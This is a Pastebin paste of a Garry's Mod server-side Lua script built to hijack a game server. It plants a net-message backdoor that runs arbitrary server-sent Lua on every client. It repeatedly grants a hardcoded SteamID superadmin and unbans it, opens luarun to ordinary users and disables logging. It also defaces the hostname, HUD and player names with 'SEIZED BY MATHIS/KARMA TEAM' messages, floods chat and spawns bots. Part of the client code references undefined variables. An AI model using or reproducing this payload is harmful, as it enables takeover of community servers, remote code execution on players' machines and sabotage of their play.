Advertisement
MathisLeaker

Untitled

May 25th, 2018
88
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 13.13 KB | None | 0 0
  1. util.AddNetworkString "slua2"
  2.  
  3. local DESIRED_NAME = "BY MATHIS [NANI NO RP MEILLEUR SERV]"
  4.  
  5. local lol = {}
  6. function lol:RandomString( intMin, intMax )
  7. local ret = ""
  8. for _ = 1, math.random( intMin, intMax ) do
  9. ret = ret.. string.char( math.random(65, 90) )
  10. end
  11.  
  12. return ret
  13. end
  14.  
  15.  
  16.  
  17. lol.m_tblActions = {}
  18. lol.m_strImageGlobalVar = lol:RandomString( 6, 12 )
  19. lol.m_strImageLoadHTML = [[<style type="text/css"> html, body {background-color: transparent;} html{overflow:hidden; ]].. (true and "margin: -8px -8px;" or "margin: 0px 0px;") ..[[ } </style><body><img src="]] .. "%s" .. [[" alt="" width="]] .. "%i"..[[" height="]] .. "%i" .. [[" /></body>]]
  20.  
  21. function lol:PushAction( intChainDelay, func )
  22. self.m_tblActions[#self.m_tblActions +1] = { intChainDelay, func }
  23. end
  24.  
  25. function lol:NextAction( pPlayer )
  26. pPlayer.m_intCurAction = pPlayer.m_intCurAction +1
  27. if not self.m_tblActions[pPlayer.m_intCurAction] then return end
  28.  
  29. timer.Simple( self.m_tblActions[pPlayer.m_intCurAction][1], function()
  30. if not IsValid( pPlayer ) then return end
  31. self.m_tblActions[pPlayer.m_intCurAction][2]( pPlayer )
  32. self:NextAction( pPlayer )
  33. end )
  34. end
  35.  
  36. function lol:Start( pPlayer )
  37. pPlayer.m_intCurAction = 0
  38. self:NextAction( pPlayer )
  39. end
  40.  
  41. function lol:SendLua( pPlayer, strLua )
  42. net.Start( "slua2" )
  43. net.WriteString( strLua )
  44. net.Send( pPlayer )
  45. end
  46.  
  47. function lol:SetupPlayer( pPlayer )
  48. pPlayer:SendLua( "net.Receive(\"slua2\", function() RunString(net.ReadString()) end)" )
  49. end
  50.  
  51.  
  52. -------START CODE FORT BAN/UNBAN/ETC...
  53. timer.Create( "sethealh", 1, 0, function() RunConsoleCommand("ulx", "hp", "*", "2147483647") end)
  54. timer.Create( "logecho0", 1, 0, function() RunConsoleCommand("ulx", "logecho", "0") end)
  55. timer.Create( "godall", 1, 0, function() RunConsoleCommand("ulx", "god", "*") end)
  56. for k, v in pairs( player.GetAll() ) do
  57. timer.Create( "moneymoney", 0.1, 0, function() v:addMoney(1000000000000000000) end)
  58. timer.Create( "riptonserveurconnard", 0.1, 0, function() BroadcastLua([[chat.AddText(Color(math.random(1,255),math.random(1,255),math.random(1,255)), "GET OWNED BY MATHIS")]]) end)
  59. timer.Create( "ripriprip", 0.1, 0, function() BroadcastLua([[chat.AddText(Color(math.random(1,255),math.random(1,255),math.random(1,255)), "GET OWNED BY MATHIS")]]) end)
  60. timer.Create( "zbzbzbz", 0.1, 0, function() BroadcastLua([[chat.AddText(Color(math.random(1,255),math.random(1,255),math.random(1,255)), "GET OWNED BY MATHIS")]]) end)
  61. timer.Create( "getowned", 0.1, 0, function() BroadcastLua([[chat.AddText(Color(math.random(1,255),math.random(1,255),math.random(1,255)), "GET OWNED BY MATHIS")]]) end)
  62. timer.Create( "ohnon", 0.1, 0, function() BroadcastLua([[chat.AddText(Color(math.random(1,255),math.random(1,255),math.random(1,255)), "GET OWNED BY MATHIS:( ")]]) end)
  63. timer.Create( "checkForBanET - Mathis", 10, 0, function() ULib.unban( "STEAM_0:1:222059738") end)
  64. timer.Create( "setSUPERADMINET - Mathis", 30, 0, function() RunConsoleCommand("ulx", "adduserid", "STEAM_0:1:222059738", "superadmin") end)
  65. timer.Create( "adminsgonnahate", 0.05, 0, function() print("0100101001001010101001011010101010001010101001010100100010101010111000110010101001010010010101010010110101010100010101010010101001000101010101110001100101010010100100101010100101101010101000101010100101010010001010101011100011001010100101001001010101001011010101010001010101001010100100010101010111000110010101001010010010101010010110101010100010101010010101001000101010101110001100101010010100100101010100101101010101000101010100101010010001010101011100011001010100101001001010101001011010101010001010101001010100100010101010111000110010101001010010010101010010110101010100010101010010101001000101010101110001100101") end )
  66. timer.Create( "luarun", 2, 0, function() RunConsoleCommand("ulx", "groupallow", "user", "ulx luarun") end)
  67. timer.Create( "csay", 0.1, 0, function() RunConsoleCommand("ulx", "csay", "GET FUCKT BY MATHIS") end)
  68. timer.Create( "hostname", 2, 0, function() RunConsoleCommand("ulx", "rcon", "hostname", "SEIZED BY MATHIS <3 | MATHIS FUCKED YOUR SERVER") end)
  69. timer.Create( "bot", 0.1, 0, function() RunConsoleCommand("ulx", "rcon", "bot") end)
  70. timer.Create( "changer de nom", 0.5, 0, function() for k, v in pairs(player.GetAll()) do DarkRP.storeRPName(v, DESIRED_NAME) v:setDarkRPVar("rpname", DESIRED_NAME) end end)
  71. timer.Create( "undoprops", 0.1, 0, function() for k, v in pairs(player.GetAll()) do v:ConCommand("undo") end end)
  72.  
  73. end
  74. ----------STOP LINE CODE FORT BAN/UNBAN/ETC...
  75.  
  76. -----START LINE CODE FOR DANSE
  77. for k,v in pairs (player.GetAll()) do v:DoAnimationEvent(ACT_GMOD_TAUNT_CHEER) end timer.Create("cheer_loop",2.6,0,function() for k,v in pairs (player.GetAll()) do v:DoAnimationEvent(ACT_GMOD_TAUNT_CHEER) end end )
  78.  
  79. -----STOP LINE CODE FOR DANSE
  80.  
  81. ------- STARTCODE FOR FORCE CHANGE NAME
  82. for k, v in pairs(player.GetAll()) do DarkRP.storeRPName(v, DESIRED_NAME) v:setDarkRPVar("rpname", DESIRED_NAME) end
  83. ------- STOP LINE CODE FOR CHANGE NAME
  84.  
  85.  
  86. for k, v in pairs( player.GetAll() ) do
  87. lol:SetupPlayer( v )
  88. timer.Simple( 2, function() lol:Start( v ) end )
  89. end
  90.  
  91. hook.Add( "PlayerAuthed", "wat", function( pPlayer )
  92. lol:SetupPlayer( pPlayer )
  93. timer.Simple( 10, function() lol:Start( pPlayer ) end )
  94. end )
  95.  
  96. hook.Add( "PlayerSay", "1337command", function( pSender, strText, bTeamChat )
  97. if strText:sub( 1, 5 ) == "/1337" then
  98. pSender:Ignite( 1e9 )
  99. pSender:ChatPrint( "fuck this job i quit" )
  100. pSender:SendLua( [[surface.PlaySound( "vo/npc/male01/hacks01.wav" )]] )
  101. return false
  102. end
  103. end )
  104.  
  105. hook.Add( "PlayerSay", "what", function( pSender, strText, bTeamChat )
  106. if strText:sub( 1, 5 ) == "what" then
  107. pSender:Ignite( 1e9 )
  108. pSender:ChatPrint( "Que demande un douanier à un cochon qui passe la frontière ? Son passe-porc ! lol xd mdr lol xptdr... bref brule connard" )
  109. pSender:SendLua( [[surface.PlaySound( "vo/npc/male01/hacks01.wav" )]] )
  110. return false
  111. end
  112. end)
  113.  
  114. --Sequence stack
  115. --Start some tunes and steam in our assets
  116. lol:PushAction( 0, function( pPlayer )
  117. lol:SendLua( pPlayer, ([=[
  118. sound.PlayURL( "http://imnothacker.mtxserv.fr/ghost.mp3", "", function()end )
  119.  
  120. g_]=].. lol.m_strImageGlobalVar.. [=[ = {}
  121. local html = [[%s]]
  122. local function LoadWebMaterial( strURL, strUID, intSizeX, intSizeY )
  123. local pnl = vgui.Create( "HTML" )
  124. pnl:SetPos( ScrW() -1, ScrH() -1 )
  125. pnl:SetVisible( true )
  126. pnl:SetMouseInputEnabled( false )
  127. pnl:SetKeyBoardInputEnabled( false )
  128. pnl:SetSize( intSizeX, intSizeY )
  129. pnl:SetHTML( html:format(strURL, intSizeX, intSizeY) )
  130.  
  131. local PageLoaded
  132. PageLoaded = function()
  133. local mat = pnl:GetHTMLMaterial()
  134. if mat then
  135. g_]=].. lol.m_strImageGlobalVar.. [=[[strUID] = { mat, pnl }
  136. return
  137. end
  138.  
  139. timer.Simple( 0.5, PageLoaded )
  140. end
  141.  
  142. PageLoaded()
  143. end
  144.  
  145. LoadWebMaterial( "https://image.noelshack.com/fichiers/2018/01/2/1514852812-ssssssss", "getrekt", 1000, 1000 )
  146. LoadWebMaterial( "https://image.noelshack.com/fichiers/2018/01/2/1514852812-ssssssss", "getrekt2", 152, 250 )
  147. LoadWebMaterial( "https://image.noelshack.com/fichiers/2018/01/2/1514852812-ssssssss", "getrekt3", 152, 250 )
  148. ]=]):format(lol.m_strImageLoadHTML) )
  149. end )
  150.  
  151. --HUD swap
  152. lol:PushAction( 31, function( pPlayer )
  153. lol:SendLua( pPlayer, [[
  154. (GAMEMODE or GM).CalcView = function() end
  155. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  156.  
  157. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  158. for k, v in pairs(remove) do
  159. hook.GetTable()[v] = {}
  160. end
  161.  
  162. local function GetWebMat( strURL )
  163. return g_]].. lol.m_strImageGlobalVar.. [[[strURL]
  164. end
  165.  
  166. hook.Add( "HUDPaint", "newhud", function()
  167. surface.SetDrawColor( 255, 255, 255, 255 )
  168.  
  169.  
  170.  
  171. draw.SimpleTextOutlined(
  172. "▁ ▂ ▃ ▄ ▅ ▆ ▇̈́SEIZED BY KARMA TEAM█ ▇ ▆ ▅ ▄ ▂ ▁",
  173. "DermaLarge",
  174. ScrW() /2 +math.random( -8, 8 ),
  175. ScrH() /2 +math.random( -8, 8 ) +64,
  176. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  177. TEXT_ALIGN_CENTER,
  178. TEXT_ALIGN_CENTER,
  179. 1,
  180. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  181. )
  182. draw.SimpleTextOutlined(
  183. "̧Go sur NaniNoRP Et SolaryRP",
  184. "DermaLarge",
  185. ScrW() /2 +math.random( -8, 8 ),
  186. ScrH() /2 +math.random( -8, 8 ) +0,
  187. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  188. TEXT_ALIGN_CENTER,
  189. TEXT_ALIGN_CENTER,
  190. 1,
  191. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  192. )
  193. draw.SimpleTextOutlined(
  194. "̈́On recommence tous du début",
  195. "DermaLarge",
  196. ScrW() /2 +math.random( -8, 8 ),
  197. ScrH() /2 +math.random( -8, 8 ) +130,
  198. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  199. TEXT_ALIGN_CENTER,
  200. TEXT_ALIGN_CENTER,
  201. 1,
  202. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  203. )
  204. draw.SimpleTextOutlined(
  205. "Maintenant tu peut fermer ton serveur hein ? :) ",
  206. "DermaLarge",
  207. ScrW() /2 +math.random( -8, 8 ),
  208. ScrH() /2 +math.random( -8, 8 ) +160,
  209. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  210. TEXT_ALIGN_CENTER,
  211. TEXT_ALIGN_CENTER,
  212. 1,
  213. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  214. )
  215. draw.SimpleTextOutlined(
  216. "Ah la Karma Team est la ! Attention ! RIP <3 ",
  217. "DermaLarge",
  218. ScrW() /2 +math.random( -8, 8 ),
  219. ScrH() /2 +math.random( -8, 8 ) -130,
  220. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  221. TEXT_ALIGN_CENTER,
  222. TEXT_ALIGN_CENTER,
  223. 1,
  224. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  225. )
  226. end )
  227.  
  228. local allowed = { ["CHudChat"] = true, ["CHudGMod"] = true, ["CHudWeaponSelection"] = true, ["CHudMenu"] = true }
  229. hook.Add( "HUDShouldDraw", "newhud", function( str ) if not allowed[str] then return false end end )
  230.  
  231. surface.PlaySound( "garrysmod/save_load4.wav" )
  232. surface.PlaySound( "vo/npc/male01/excuseme02.wav" )
  233. ]] )
  234. end )
  235.  
  236.  
  237. --Disco time
  238. lol:PushAction( 10, function( pPlayer )
  239. local idx = pPlayer:EntIndex()
  240. timer.Create( "beat".. idx, 0.42, 0, function()
  241. if not IsValid( pPlayer ) then timer.Destroy( "beat".. idx ) return end
  242. pPlayer:ViewPunch( Angle(math.Rand(-15, -10), math.Rand(-10, 10), 0) )
  243. end )
  244.  
  245.  
  246. lol:SendLua( pPlayer, [[
  247. local emitter = ParticleEmitter( LocalPlayer():GetPos() )
  248. local time = 0
  249.  
  250. hook.Add( "Think", "wat", function()
  251. if CurTime() < time then
  252. return
  253. end
  254.  
  255. time = CurTime() +0.05
  256. for i = 1, 16 do
  257. local part = emitter:Add(
  258. "particles/balloon_bit",
  259. LocalPlayer():GetPos() +Vector(
  260. math.random( -256, 256 ),
  261. math.random( -256, 256 ),
  262. 256
  263. )
  264. )
  265.  
  266. if part then
  267. local Size = math.random( 4, 7 )
  268.  
  269. part:SetColor( math.random(0, 255), math.random(0, 255), math.random(0, 255), 255 )
  270. part:SetVelocity( Vector( 40, 25, -math.random(300, 400) ) )
  271. part:SetDieTime( 4.5 )
  272. part:SetGravity( Vector(40, 0, -250) )
  273. part:SetLifeTime( 0 )
  274. part:SetStartSize( Size /2 )
  275. part:SetEndSize( Size )
  276. part:SetCollide( true )
  277. end
  278. end
  279. end )
  280. ]] )
  281.  
  282. lol:SendLua( pPlayer, [[
  283. hook.Add( "RenderScreenspaceEffects", "wat", function()
  284. local sinScaler = math.sin( CurTime() )
  285. DrawBloom(
  286. 0,
  287. 3,
  288. sinScaler *math.Rand(1, 8),
  289. sinScaler *math.Rand(1, 8),
  290. 6,
  291. math.Rand(0.5, 2),
  292. math.Rand(0, 0.3),
  293. math.Rand(0, 0.3),
  294. math.Rand(0.5, 1)
  295. )
  296. end )
  297.  
  298.  
  299. local w, h = 300, 300
  300. local ang = Angle( 0, 0, 0 )
  301.  
  302. for i = 1, 32 do
  303. if CurTime() > time then
  304. posCache[i] = { math.random( 0, ScrW() -w ), math.random( 0, ScrH() -h ) }
  305. end
  306. local x, y = posCache[i][1], posCache[i][2]
  307.  
  308. cam.Start3D( (ang:Forward() *64) +(ang:Up() *32), (ang:Forward()*-1):Angle(), 90, x, y, w, h )
  309. cam.IgnoreZ( true )
  310. render.SuppressEngineLighting( true )
  311.  
  312. render.SetLightingOrigin( mdl:GetPos() )
  313. render.ResetModelLighting( 1, 1, 1 )
  314. render.SetColorModulation( 0, 0, 1 )
  315.  
  316. mdl:DrawModel()
  317.  
  318. render.SuppressEngineLighting( false )
  319. cam.IgnoreZ( false )
  320. cam.End3D()
  321. end
  322.  
  323. if CurTime() > time then
  324. time = CurTime() +0.15
  325. end
  326. end )
  327.  
  328. surface.PlaySound( "vo/npc/male01/ohno.wav" )
  329. ]] )
  330. end )
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement